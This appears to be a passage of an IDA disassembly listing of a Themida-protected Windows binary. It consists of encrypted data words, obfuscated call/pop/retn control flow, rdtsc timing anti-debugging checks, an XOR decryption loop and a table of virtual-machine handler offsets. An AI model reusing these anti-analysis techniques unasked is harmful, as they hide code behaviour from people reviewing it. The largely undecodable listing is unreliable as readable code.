		dd 0A20DC353h, 4D1FBD8Dh, 6A0613h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 14DF08C3h, 97C200C0h
		dd 24858509h, 0CE90613h, 8B000000h, 1314599Dh, 5952906h
		dd 5706132Ch, 3576E281h, 3FB946D7h, 834738D2h, 840F003Fh
		dd 8Eh,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h
		dd 89C35343h, 9D2440Eh,	131CFD8Dh, 6A0F3006h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 7806C353h, 0CD8D3146h, 81061313h, 9E3481D2h,	0FC9D11Bh
		dd 683h, 1958900h, 4706131Dh, 598D8960h, 8B06130Dh, 131985B5h
		dd 958B6106h, 613103Dh,	0FFFF7EE9h, 8E8FFh, 0D09F0000h
		dd 0A0988BFBh, 5BF9CA68h, 22819D29h, 0B65F0613h, 1BBD89D4h
		dd 0F06134Fh, 286h, 8DDF8B00h, 132AA58Dh, 13E906h, 0E3130000h
		dd 0A1F4C767h, 23A1ADE4h, 5607C66h, 0C105D764h,	0EED780BFh
		dd 1CBDB5FFh, 958B0613h, 613208Dh, 0A34D858Dh, 8D500615h
		dd 13573ABDh, 0C08D8D06h, 0B8061372h, 54831ABCh, 730CF2Bh
		dd 4947C8D0h, 0B58DF875h, 6137268h, 72D88D8Dh, 0CF2B0613h
		dd 0C933A4F3h, 0B8h, 74C00B00h,	0F1BD8346h, 61307h, 95FF0674h
		dd 6131339h, 4F1BB58Bh,	858D0613h, 615A34Dh, 858DD0FFh
		dd 6134381h, 85C7D0FFh,	61311CDh, 1, 8B9A58Bh, 0B58B0613h
		dd 6133481h, 13E5AD8Bh,	0C0330613h, 6A000CC2h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 78F1C356h, 7B6360Bh,	1FC5B589h, 0BD830613h, 61307E5h
		dd 15840F00h, 80000000h, 95FFF8E3h, 6131685h, 6850Fh, 95310000h
		dd 613153Dh, 22C1BD83h,	0F000613h, 18385h, 3DEE8000h, 173DBD83h
		dd 0F010613h, 17385h, 0ED953300h, 83061300h, 1321BDBDh
		dd 840F0006h, 160h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 18h, 8FC35040h, 7A0DC539h,	2A599D8Bh, 0BD830613h
		dd 6134F6Eh, 2D840F00h,	89000001h, 1334859Dh, 4D858D06h
		dd 0E80615A3h, 10h, 9FDFB996h, 3155BE4Ch, 7FC03920h, 9A592E33h
		dd 5E9h, 0D5E2100h, 8B5B4F05h, 1314519Dh, 1BB58B06h, 8906134Fh
		dd 132D19B5h, 81D0FF06h, 0F685DECAh, 0A99D2340h, 0C606130Eh
		dd 1311E185h, 820F5406h, 2, 0D48AD08Ah,	69595E68h, 11890FA8h
		dd 0E8000000h, 9, 9B098E16h, 17E383F9h,	5A616044h, 96240481h
		dd 6A56E565h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 1624C351h, 5762FD1Eh, 39A5BB75h
		dd 81665D99h, 0FF13ACF2h, 13116DB5h, 3830F06h, 0F000000h
		dd 858DDFBFh, 6133AADh,	0FFD9B70Fh, 0A5D380D0h,	7E9h, 0B3ECB00h
		dd 0ECF8CA4Ch, 6AFC006Ah, 858B60FFh, 613107Dh, 3211B589h
		dd 0FF610613h, 17E381D0h, 660486B7h, 0FF3CA8BAh, 1304C5B5h
		dd 0D8B70F06h, 1CBD95FFh, 6A0613h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 0FE20C0C3h, 89BA69B8h
		dd 8D293359h, 61328E5h,	4F1BB58Bh, 6A0613h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 0A87A3FC3h
		dd 66F59F9Fh, 0FC3D38Bh, 8Fh, 55B58B00h, 106130Fh, 1334AD85h
		dd 0FF60B06h, 0C84h, 71F9BA00h,	6C676E8h, 95BA6600h, 23858927h
		dd 8006134Fh, 0F8831FCAh, 0F9840F00h, 6A000002h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 225EC357h, 6AC66C53h, 0B8DFh, 83F50000h, 840F00F8h
		dd 51h,	11318589h, 0F8830613h, 2C850F02h, 0BB000000h, 11CAA5A9h
		dd 459E858Dh, 0EA800613h, 9292D94h, 0BD890000h,	6132185h
		dd 0C0BA6690h, 8B665038h, 0F8F890D1h, 0A19D8BC3h, 0B8061321h
		dd 0
; ---------------------------------------------------------------------------
		mov	[ebp+6130FE9h],	edi
		jmp	loc_583B28
; ---------------------------------------------------------------------------
		or	[ebp+6131A99h],	ecx
		mov	eax, 1
		xor	dh, 0A0h
		lea	edi, [ebp+61345A3h]
		or	edx, [ebp+6130E31h]
		jmp	loc_583997
; ---------------------------------------------------------------------------
		dw 9D8Bh
		dd 6132485h, 0F02F883h,	5A85h, 11E800h,	1CA10000h, 0C7859AEEh
		dd 8AD66222h, 0A8E99B3h, 89E7900Ch, 1300A99Dh, 0BD8D5A06h
		dd 613479Bh, 0A358589h,	0E6800613h, 8DE97Bh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 27647C3h, 88101048h,	0BB665606h, 835A7A60h, 850F03F8h
		dd 37h,	59E3BA66h, 492FBD8Dh, 85890613h, 61331E5h, 46E9h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 0DD9533D5h, 83061304h, 850F05F8h, 1Bh, 0F91958Bh
		dd 0B5E90613h, 0E9000000h, 0Bh,	0F6E35487h, 0B73A9D84h
		db 96h,	6Dh, 0B2h
; ---------------------------------------------------------------------------


loc_583997:				; CODE XREF: sub_580566+335Fj
		push	edi
		sub	[ebp+61321F5h],	ecx
		jno	loc_5839AA
		mov	[ebp+6132CD9h],	edx


loc_5839AA:				; CODE XREF: sub_580566+3438j
		mov	ecx, 4738D23Fh
		push	0
		push	eax
		call	loc_5839BA
		and	[eax-3Dh], bl


loc_5839BA:				; CODE XREF: sub_580566+344Cp
		pop	eax
		mov	[esp-0Eh+arg_A], eax
		add	[esp-0Eh+arg_A], 1Bh
		inc	eax
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 0B7F4h
		dd 0E36291A0h, 0DE9CD24h, 44000000h, 0BD26BB84h, 4F974D01h
		dd 0B01D15F5h, 0F003F83h, 4F84h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 0ABA57B70h
		dd 0BD3160CFh, 61322B1h, 1929858Bh, 30610613h, 8D9D8B0Fh
		dd 0D1061313h, 0D99D8BC9h, 4706132Fh, 1DCBFFBAh, 0FFAEE94Dh
		dd 8589FFFFh, 6131F79h,	0F05F883h, 0E385h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
		dd 0DBF59D61h, 25958B2Dh, 66061320h, 0BF0FD98Ch, 4C1F6D6h
		dd 7C850Fh, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 150424h, 50400000h, 0F4BD4C3h, 88Ch,	9D2B5000h, 61329BDh
		dd 0B85Bh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 4355E0C3h, 8B1280C7h, 131FD595h
		dd 52E906h, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 180424h, 56460000h, 0BF2F55C3h, 858B0981h, 6130A71h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 51C35040h
		dd 0BD8960C2h, 6131A35h, 66E0FF61h, 0A4F6D381h
; ---------------------------------------------------------------------------


loc_583B28:				; CODE XREF: sub_580566+3340j
		cmp	dword ptr [ebp+6131CBDh], 0
		jnz	loc_583BDE
		mov	[ebp+6131305h],	ebx
		push	eax
		pusha
		ja	$+6
		call	near ptr loc_583B57+1
		scasb
		xor	byte ptr [ebx],	0D9h
		lods	dword ptr [si]
		adc	ah, [esi]
		cmpsb
		mov	al, ds:9A9C0CB6h
		sti


loc_583B57:				; CODE XREF: sub_580566+35DDp
		jnz	short near ptr dword_583B68
		test	[eax], eax
; ---------------------------------------------------------------------------
		db 0
		dd 615E0000h, 6A240489h, 3E85000h
dword_583B68	dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
					; CODE XREF: sub_580566:loc_583B57j
		dd 0B441C350h, 0E1D366D0h, 11E185C6h, 0E9450613h, 0Eh
		dd 0FBF2E6B3h, 0B339C56Dh, 0CF52D4F6h, 836836B4h, 536E48F9h
		dd 2404815Ah, 20296FE6h, 16219D8Bh, 0B5FF0613h,	613116Dh
		dd 1F99BD89h, 858D0613h, 6133AADh, 0FF83F280h, 89D78BD0h
		dd 131CBD85h, 199D2B06h, 58061319h, 12BB6651h
; ---------------------------------------------------------------------------
		mov	dl, 5Bh


loc_583BDE:				; CODE XREF: sub_580566+35C9j
		cmp	dword ptr [ebp+6134F72h], 0
		jz	loc_583C6D
		push	0
		push	edx
		call	loc_583BF6
		and	[edx-3Dh], bl


loc_583BF6:				; CODE XREF: sub_580566+3688p
		pop	edx
		mov	[esp+0Ch+var_8], edx
		add	[esp+0Ch+var_8], 1Ah
		inc	edx
		push	edx
		retn
; ---------------------------------------------------------------------------
		sbb	ds:0F65E2885h, esi
		leave
		mov	[ebp+61309DDh],	edi
		add	[ebp+6133091h],	edx
		push	dword ptr [ebp+61304C5h]
		push	0
		push	esi
		call	loc_583C2A
		and	[esi-3Dh], bl


loc_583C2A:				; CODE XREF: sub_580566+36BCp
		pop	esi
		mov	[esp+4], esi
		add	dword ptr [esp+4], 18h
		inc	esi
		push	esi
		retn
; ---------------------------------------------------------------------------
		mov	edi, 3B84C446h
		clc
		call	dword ptr [ebp+6131CBDh]
		push	0
		push	eax
		call	loc_583C51
		and	[eax-3Dh], bl


loc_583C51:				; CODE XREF: sub_580566+36E3p
		pop	eax
		mov	[esp+10h+var_C], eax
		add	[esp+10h+var_C], 1Ah
		inc	eax
		push	eax
		retn
; ---------------------------------------------------------------------------


loc_583C61:				; CODE XREF: sub_580566+36FCj
		dec	eax
		jbe	short loc_583C61
		dec	edx
		jno	short loc_583C7E
		push	edx
		xor	bx, 5737h


loc_583C6D:				; CODE XREF: sub_580566+367Fj
		cmp	eax, 0
		jnz	loc_583DA7
		push	0
		push	ebp
		call	loc_583C81


loc_583C7E:				; CODE XREF: sub_580566+36FFj
		and	[ebp-3Dh], bl


loc_583C81:				; CODE XREF: sub_580566+3713p
		pop	ebp
		mov	[esp+10h+var_C], ebp
		add	[esp+10h+var_C], 1Bh
		inc	ebp
		push	ebp
		retn
; ---------------------------------------------------------------------------
		db 0CAh, 17h, 0E5h
		dd 0FAEDB797h, 8C0F512Dh, 5, 0CF38166h,	0EE95AC2h, 0DE000000h
		dd 44EFEEABh, 3DC619EDh, 9A18572Fh, 0DDBD830Fh,	61310h
		dd 5B840Fh, 950B0000h, 61305B5h, 6810F51h, 81000000h, 0C0190DDAh
		dd 0B5FF5A3Eh, 61310DDh, 8EEA8166h, 1B8F833h, 66000000h
		dd 0CC2DF381h, 274E9h, 53006A00h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 63E3EFA3h, 819D8B81h
		dd 89061313h, 130E3985h, 0C5B5FF06h, 0FF061304h, 1304C5B5h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 0DCDFC059h, 95958906h, 0FF061329h, 131CBDB5h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 0B7043A38h, 1ECE9h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0D7D1544Dh
		dd 2A16AE8h, 0D1958B79h
; ---------------------------------------------------------------------------
		push	cs
		adc	eax, [esi]


loc_583DA7:				; CODE XREF: sub_580566+370Aj
		pop	edi
		cmp	dword ptr [ebp+6130155h], 0
		jnz	loc_583E86
		js	loc_583DC1
		mov	ebx, [ebp+6131CCDh]


loc_583DC1:				; CODE XREF: sub_580566+384Fj
		mov	byte ptr [ebp+61311E1h], 4Dh
		push	edx
		mov	dl, 4
		pop	ebx
		call	near ptr loc_583DD3+2
		test	al, 76h


loc_583DD3:				; CODE XREF: sub_580566+3866p
		xor	eax, 525050A4h
		mov	ebx, eax
		rdtsc
		pop	edx
		pop	eax
		mov	eax, [esp+4]
		push	eax
		push	edx
		mov	bx, si
		rdtsc
		pusha
		mov	dx, 0A6FEh
		jno	$+6
		popa
		pop	edx
		pop	eax
		mov	eax, [eax]
		mov	dx, 0B0C6h
		mov	[esp+4], eax
		mov	bx, 0EBBDh
		pop	eax
		pusha
		xor	edx, [ebp+6131FBDh]
		cmc
		popa
		push	dword ptr [ebp+61310D1h]
		mov	edx, 3D29E422h
		lea	eax, [ebp+6133AADh]
		push	0
		push	edi
		call	loc_583E2B
		and	[edi-3Dh], bl


loc_583E2B:				; CODE XREF: sub_580566+38BDp
		pop	edi
		mov	[esp+4], edi
		add	dword ptr [esp+4], 1Ah
		inc	edi
		push	edi
		retn
; ---------------------------------------------------------------------------
		xor	ebp, ebx
		mov	esi, 0B7CBF74h
		call	eax
		jmp	loc_583E54
; ---------------------------------------------------------------------------
		db 3Dh,	0Fh, 3
		dd 2DC09768h, 775196D3h
; ---------------------------------------------------------------------------


loc_583E54:				; CODE XREF: sub_580566+38DEj
		mov	[ebp+6130155h],	eax
		push	0
		push	eax
		call	loc_583E65
		and	[eax-3Dh], bl


loc_583E65:				; CODE XREF: sub_580566+38F7p
		pop	eax
		mov	[esp+4], eax
		add	dword ptr [esp+4], 1Ch
		inc	eax
		push	eax
		retn
; ---------------------------------------------------------------------------
		db 65h,	33h, 0ACh
; ---------------------------------------------------------------------------
		mov	[ebx], ecx
		xchg	eax, ecx
		cmp	ecx, [edx+ebx+50h]
		mov	[ebp+6132501h],	ebx
		pop	edx


loc_583E86:				; CODE XREF: sub_580566+3849j
		mov	eax, 0
		sub	ebx, [ebp+6131E99h]
		mov	[ebp+6134F1Bh],	edi
		push	0
		push	edx
		call	loc_583EA2
		and	[edx-3Dh], bl


loc_583EA2:				; CODE XREF: sub_580566+3934p
		pop	edx
		mov	[esp+4], edx
		add	dword ptr [esp+4], 15h
		inc	edx
		push	edx
		retn
; ---------------------------------------------------------------------------
		mov	[edx], edi
		mov	dx, 86BCh
		mov	edx, 415C70C4h
		or	eax, eax
		jz	loc_583F17
		push	0
		push	ebp
		call	loc_583ED0
		and	[ebp-3Dh], bl


loc_583ED0:				; CODE XREF: sub_580566+3962p
		pop	ebp
		mov	[esp+4], ebp
		add	dword ptr [esp+4], 17h
		inc	ebp
		push	ebp
		retn
; ---------------------------------------------------------------------------
		dd 9AB39DFFh, 80E9h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 0A4CCB18h, 89FF8FB2h
		dd 1304C185h, 72EB8106h
; ---------------------------------------------------------------------------
		mov	edx, esp


loc_583F16:				; CODE XREF: sub_580566+39DCj
		push	es


loc_583F17:				; CODE XREF: sub_580566+3959j
		push	dword ptr [ebp+6131CBDh]
		jmp	loc_583F30
; ---------------------------------------------------------------------------
		dw 8D67h
		dd 0FF6E19C5h, 0E7555CAEh, 37E01506h
; ---------------------------------------------------------------------------


loc_583F30:				; CODE XREF: sub_580566+39B7j
		lea	eax, [ebp+615A34Dh]
		jb	loc_583F49
		jmp	loc_583F49
; ---------------------------------------------------------------------------
		wait
		jmp	short loc_583F16
; ---------------------------------------------------------------------------
		mov	edx, 5FF4B5A4h


loc_583F49:				; CODE XREF: sub_580566+39D0j
					; sub_580566+39D6j
		push	eax
		jmp	loc_583F5B
; ---------------------------------------------------------------------------
		xchg	eax, ebx
		mov	[ebx-61999A69h], dh
		inc	ebx
		mov	byte ptr [edi],	5
		popa


loc_583F5B:				; CODE XREF: sub_580566+39E4j
		mov	[esp-0Ch+arg_8], eax
		push	ebx
		mov	ebx, [ebp+6131549h]
		pop	edx
		mov	bx, ax
		push	eax
		push	esi
		lea	edi, [ebp+613573Ah]
		lea	ecx, [ebp+6137CB4h]
		mov	eax, 748323BCh
		sub	ecx, edi


loc_583F7E:				; CODE XREF: sub_580566+3A1Ej
		xor	[edi], al
		ror	al, 1
		inc	edi
		dec	ecx
		jnz	short loc_583F7E
		pop	esi
		pop	eax
		cmp	dword ptr [ebp+61310DDh], 0
		jz	short loc_583F97
		mov	ecx, [ebp+6133095h]


loc_583F97:				; CODE XREF: sub_580566+3A29j
		xor	ecx, ecx
		mov	eax, 0
		or	eax, eax
		jz	loc_58404E
		cmp	dword ptr [ebp+61307F1h], 0
		jz	short loc_583FB5
		call	dword ptr [ebp+6131339h]


loc_583FB5:				; CODE XREF: sub_580566+3A47j
		mov	eax, 0
		or	eax, eax
		jnz	short loc_583FC7
		cmp	dword ptr [ebp+6134F23h], 1
		jz	short loc_583FD0


loc_583FC7:				; CODE XREF: sub_580566+3A56j
		cmp	dword ptr [ebp+6134F23h], 2
		jnz	short loc_583FDE


loc_583FD0:				; CODE XREF: sub_580566+3A5Fj
		mov	esi, [ebp+6134F1Bh]
		lea	eax, [ebp+615A34Dh]
		call	eax


loc_583FDE:				; CODE XREF: sub_580566+3A68j
		cmp	dword ptr [ebp+61307E5h], 0
		jz	short loc_583FED
		call	dword ptr [ebp+6131685h]


loc_583FED:				; CODE XREF: sub_580566+3A7Fj
		lea	eax, [ebp+6134381h]
		call	eax
		cmp	dword ptr [ebp+6132CF1h], 2
		jnz	short loc_58402D
		mov	esp, [ebp+61308B9h]
		mov	eax, [ebp+61310DDh]
		mov	[esp-0Ch+arg_8], eax
		mov	dword ptr [ebp+61311CDh], 1
		mov	esi, [ebp+6134F1Fh]
		mov	ebp, [ebp+61313E5h]
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------
		jmp	short $+2


loc_58402D:				; CODE XREF: sub_580566+3A96j
		mov	dword ptr [ebp+61311CDh], 1
		mov	esp, [ebp+61308B9h]
		mov	esi, [ebp+6133481h]
		mov	ebp, [ebp+61313E5h]
		xor	eax, eax
		retn	0Ch
; ---------------------------------------------------------------------------


loc_58404E:				; CODE XREF: sub_580566+3A3Aj
		cmp	dword ptr [ebp+61307E5h], 0
		jz	short loc_584066
		cmp	dword ptr [ebp+6131685h], 0
		jz	short loc_584066
		call	dword ptr [ebp+6131685h]


loc_584066:				; CODE XREF: sub_580566+3AEFj
					; sub_580566+3AF8j
		mov	esi, [ebp+6134F1Bh]
		retn
; ---------------------------------------------------------------------------
		mov	[ebp+6133011h],	edx
		call	near ptr loc_584081+2
		scasb
		add	eax, 0B2F7F7A2h
		pop	edx
		cdq
		inc	edi


loc_584081:				; CODE XREF: sub_580566+3B0Dp
		fdiv	dword ptr [ecx+ecx]
		mov	ebp, 6130EADh
		pop	ebx
		sub	edx, edx
		pusha
		mov	[ebp+613247Dh],	edi
		pusha
		or	[ebp+6132ECDh],	esi
		mov	eax, [ebp+613147Dh]
		popa
		popa
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_5840B2
; ---------------------------------------------------------------------------


loc_5840B0:				; CODE XREF: sub_580566+3B4Fj
		inc	eax
		inc	edi


loc_5840B2:				; CODE XREF: sub_580566+3B48j
		cmp	byte ptr [edi],	0
		jnz	short loc_5840B0
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_5840E1
; ---------------------------------------------------------------------------


loc_5840BE:				; CODE XREF: sub_580566+3B7Dj
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_5840D6
; ---------------------------------------------------------------------------


loc_5840D3:				; CODE XREF: sub_580566+3B73j
		mul	ebx
		dec	esi


loc_5840D6:				; CODE XREF: sub_580566+3B6Bj
		cmp	esi, 0
		ja	short loc_5840D3
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_5840E1:				; CODE XREF: sub_580566+3B56j
		or	eax, eax
		jnz	short loc_5840BE
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	loc_5840FA
		and	[ebx-3Dh], bl


loc_5840FA:				; CODE XREF: sub_580566+3B8Cp
		pop	ebx
		mov	[esp-1Ch+arg_18], ebx
		add	[esp-1Ch+arg_18], 1Bh
		inc	ebx
		push	ebx
		retn
; ---------------------------------------------------------------------------
		dw 3FD4h
		dd 0CB93A8CEh, 958BD3F9h, 6131719h, 0F58D8B60h,	8B061313h
		dd 132BA18Dh, 6A6106h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 0E4548AC3h
		db 36h
; ---------------------------------------------------------------------------


loc_584145:				; CODE XREF: sub_580566:loc_581240j
		mov	eax, ecx
		jmp	loc_5A5BF1
sub_580566	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd offset word_5FBE9E
		dd offset word_5FBE9E
		align 8
		dd 26E0023h, 12FEF4h, 26E001Bh,	5FA34Bh, 206h, 2, 1, 0
		dd 0FA44C2CAh, 5 dup(0)
		dd offset loc_58B4D1
		dd offset loc_58EFAC
		dd offset loc_589503
		dd offset loc_58947C
		dd offset loc_586C1D
		dd offset loc_58F758
		dd offset loc_59033C
		dd offset loc_58FE36
		dd offset loc_584589
		dd offset loc_5848B2
		dd offset loc_585CC5
		dd offset loc_58DD33
		dd offset loc_58E67B
		dd offset loc_58840F
		dd offset loc_589326
		dd offset loc_58500C
		dd offset loc_58BBB9
		dd offset loc_58AD91
		dd offset loc_58BB09
		dd offset loc_58956A
		dd offset loc_58A2C1
		dd offset loc_58F65D
		dd offset loc_5900A3
		dd offset loc_58492B
		dd offset loc_586486
		dd offset loc_58DB74
		dd offset loc_585D1C
		dd offset loc_5867E1
		dd offset loc_58639F
		dd offset loc_5877A9
		dd offset loc_58A443
		dd offset loc_5845D9
		dd offset loc_58925A
		dd offset loc_58A71D
		dd offset loc_58A14F
		dd offset loc_589048
		dd offset loc_58BD1D
		dd offset word_58A7EE
		dd offset sub_584787
; ---------------------------------------------------------------------------
		fimul	dword ptr [edi-7B79FFA8h]
		pop	eax
		add	[eax], cl
		test	al, 58h
		add	[eax+edi*4-3F48FFA8h], dh
		pop	eax
		add	[edx], bl
		retf	58h
; ---------------------------------------------------------------------------
		dd offset loc_588855
		dd offset loc_58BA6C
		dd offset sub_5900ED
		dd offset loc_587A57
		dd offset loc_586678
; ---------------------------------------------------------------------------
		popa
		retn
; ---------------------------------------------------------------------------
		dw 58h
		dd offset loc_58C4A2
; ---------------------------------------------------------------------------
		xor	cl, bl
		pop	eax
		add	ch, ch
		retf
; ---------------------------------------------------------------------------
		dw 58h
		dd offset loc_588A67
		dd offset loc_58CC7E
		dd offset loc_58864D
		dd offset loc_58E7B3
		dd offset loc_58A335
		dd offset loc_58D0B6
		dd offset loc_58CC69
		dd offset loc_58B6D9
		dd offset loc_584AD0
		dd offset loc_58C12C
		dd offset loc_5895D2
		dd offset loc_58F524
		dd offset loc_587D5F
		dd offset loc_590241
		dd offset loc_584FBD
		dd offset loc_589BEF
		dd offset loc_58C490
		dd offset loc_58E261
		dd offset loc_588B69
		dd offset loc_58E1DD
		dd offset loc_58B792
		dd offset loc_58A7FE
		dd offset loc_58E7A5
		dd offset loc_58CF2F
		dd offset loc_58B8CE
		dd offset loc_585772
		dd offset loc_58967C
		dd offset loc_58641A
		dd offset loc_58789E
		dd offset loc_58D568
		dd offset sub_5904F2
		dd offset loc_58BB94
		dd offset sub_5846A4
		dd offset loc_58699D
		dd offset loc_588B46
		dd offset loc_589316
		dd offset loc_58EE72
		dd offset loc_58F214
		dd offset loc_58D68B
		dd offset loc_5848FE
		dd offset loc_58712C
		dd offset loc_585A2F
		dd offset loc_5871BF
		dd offset loc_58CC60
		dd offset loc_585912
		dd offset loc_58DD29
		dd offset loc_58B9FE
		dd offset loc_586927
		dd offset loc_58DFE3
		dd offset loc_58ACE7
		dd offset loc_58A2B3
		dd offset loc_58DA31
		dd offset loc_5876D2
		dd offset loc_587189
		dd offset loc_589669
		dd offset loc_5849B8
		dd offset loc_58E4B0
		dd offset loc_5847DF
		dd offset loc_5862D4
		dd offset loc_58A57C
		dd offset loc_588F61
		dd offset loc_58E6BD
		dd offset word_58EC0A
		dd offset loc_586B93
		dd offset loc_58D0C6
		dd offset loc_58EDDC
		dd offset loc_584DDE
		dd offset sub_58FB73
		dd offset loc_588A26
		dd offset loc_58CCA0
		dd offset loc_58C82A
		dd offset loc_584E6C
		dd offset loc_587180
		dd offset loc_58CFEB
		dd offset loc_58E4B9
		dd offset loc_58E437
		dd offset loc_58F595
		dd offset loc_588D32
		dd offset loc_588A7E
		dd offset loc_5903C5
		dd offset loc_586AE0
		dd offset loc_5906D5
		dd offset loc_58B764
		dd offset loc_58B5ED
		dd offset loc_584A2C
		dd offset loc_58D223
		dd offset loc_58D7E7
		dd offset loc_58F1DF
		dd offset loc_58E9C8
		dd offset loc_588266
		dd offset loc_58A1AC
		dd offset loc_588159
		dd offset loc_588D79
		dd offset loc_58E2A1
		dd offset loc_58D97A
		dd offset loc_5844F4
		dd offset loc_58965A
		dd offset loc_58A4A9
		dd offset loc_58999D
		dd offset loc_586DD6
		dd offset loc_58E93D
		dd offset loc_589946
		dd offset loc_58B7B0
		dd offset loc_58D34E
		dd offset loc_586C9F
		dd offset loc_585DBE
		dd offset loc_58A04A
		dd offset loc_58DBBD
		dd offset loc_58794E
		dd offset loc_58615C
		dd offset loc_589110
		dd offset loc_58B67E
		dd offset loc_587B8C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5FE13E


loc_58442C:				; CODE XREF: Themida_:005A5C48j
					; Themida_:005A5C52j ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 613816Ah
		mov	eax, edi
		add	edi, 6137E82h
		cmp	eax, [edi+2Ch]
		jnz	short loc_58444A
		jmp	short loc_58445D
; ---------------------------------------------------------------------------


loc_58444A:				; CODE XREF: sub_5FE13E-79CF8j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_584459
; ---------------------------------------------------------------------------


loc_584454:				; CODE XREF: sub_5FE13E-79CE3j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_584459:				; CODE XREF: sub_5FE13E-79CECj
		or	ecx, ecx
		jnz	short loc_584454


loc_58445D:				; CODE XREF: sub_5FE13E-79CF6j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_58446A:				; CODE XREF: sub_5FE13E-79CCDj
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_58446A
; END OF FUNCTION CHUNK	FOR sub_5FE13E
; START	OF FUNCTION CHUNK FOR sub_584787


loc_584473:				; CODE XREF: sub_584787+11Dj
					; sub_584787+181j ...
		lodsb
		sub	esp, 2
		jmp	loc_59063D
; END OF FUNCTION CHUNK	FOR sub_584787
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59075E


loc_58447C:				; CODE XREF: sub_59075E+11j
		add	esi, 26D32018h
		sub	ebp, esi
		pop	esi
		jmp	loc_58E634
; END OF FUNCTION CHUNK	FOR sub_59075E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_584787


loc_58448A:				; CODE XREF: sub_584787+78ABj
		xor	cl, dh
		pop	edx
		push	edx
		mov	dl, cl
		mov	bh, dl
		pop	edx
		jmp	loc_585EA0
; ---------------------------------------------------------------------------


loc_584498:				; CODE XREF: sub_584787+261j
		add	ebx, 0BEB34990h
		jmp	loc_5881BB
; ---------------------------------------------------------------------------


loc_5844A3:				; CODE XREF: sub_584787+42AEj
		mov	edx, 4
		add	edi, 53B45AF2h
		add	edi, edx
		sub	edi, 53B45AF2h
		pop	edx
		push	51EDh
		mov	[esp+0], ebp
		mov	ebp, 2
		add	edi, 67D213F1h
		add	edi, ebp
		sub	edi, 67D213F1h
		mov	ebp, [esp+0]
		add	esp, 4
		push	edi
		push	[esp+arg_0]
		jmp	loc_58C32E
; ---------------------------------------------------------------------------


loc_5844E2:				; CODE XREF: sub_584787+3697j
		pop	ebp
		sub	ebp, 673400A1h
		xor	ebp, 0EDB55F62h
		jmp	loc_58F682
; END OF FUNCTION CHUNK	FOR sub_584787
; ---------------------------------------------------------------------------


loc_5844F4:				; DATA XREF: Themida_:005843E4o
		push	0
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_58C7E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_584787


loc_584507:				; CODE XREF: sub_584787+136Cj
		or	edx, eax
		jmp	loc_584C7E
; ---------------------------------------------------------------------------


loc_58450E:				; CODE XREF: sub_584787+4B36j
		xor	[esp+0], edi
		jmp	loc_589FE8
; ---------------------------------------------------------------------------


loc_584516:				; CODE XREF: sub_584787+7B59j
		mov	esi, 7D636929h
		shr	esi, 3
		shl	esi, 8
		add	esi, 47B60F60h
		dec	esi
		and	esi, 6D7D1501h
		sub	esi, 0FAC9ADA9h
		sub	eax, esi
		pop	esi
		jmp	loc_58DCDB
; ---------------------------------------------------------------------------


loc_58453C:				; CODE XREF: sub_584787+6E8Fj
		shl	ebp, 3
